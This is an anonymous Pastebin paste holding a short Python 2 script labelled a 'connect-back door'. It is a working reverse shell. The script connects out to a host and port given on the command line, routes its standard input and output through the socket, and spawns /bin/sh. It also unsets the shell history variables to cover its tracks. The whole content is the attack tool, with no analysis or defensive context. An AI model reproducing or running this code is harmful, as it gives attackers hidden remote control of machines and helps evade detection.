Advertisement
Guest User

Untitled

a guest
Apr 20th, 2019
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.67 KB | None | 0 0
  1. #!/usr/bin/python
  2. import sys
  3. import os
  4. import socket
  5. import pty
  6.  
  7. shell = "/bin/sh"
  8.  
  9. def usage(programname):
  10. print "ython connect-back door"
  11. print "Usage: %s <conn_back_ip> <port>" % programname
  12.  
  13. def main():
  14. if len(sys.argv) !=3:
  15. usage(sys.argv[0])
  16. sys.exit(1)
  17.  
  18. s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  19.  
  20. try:
  21. s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
  22. print "[+]Connect OK."
  23. except:
  24. print "[-]Can't connect"
  25. sys.exit(2)
  26.  
  27. os.dup2(s.fileno(),0)
  28. os.dup2(s.fileno(),1)
  29. os.dup2(s.fileno(),2)
  30. global shell
  31. os.unsetenv("HISTFILE")
  32. os.unsetenv("HISTFILESIZE")
  33. pty.spawn(shell)
  34. s.close()
  35.  
  36. if __name__ == "__main__":
  37. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement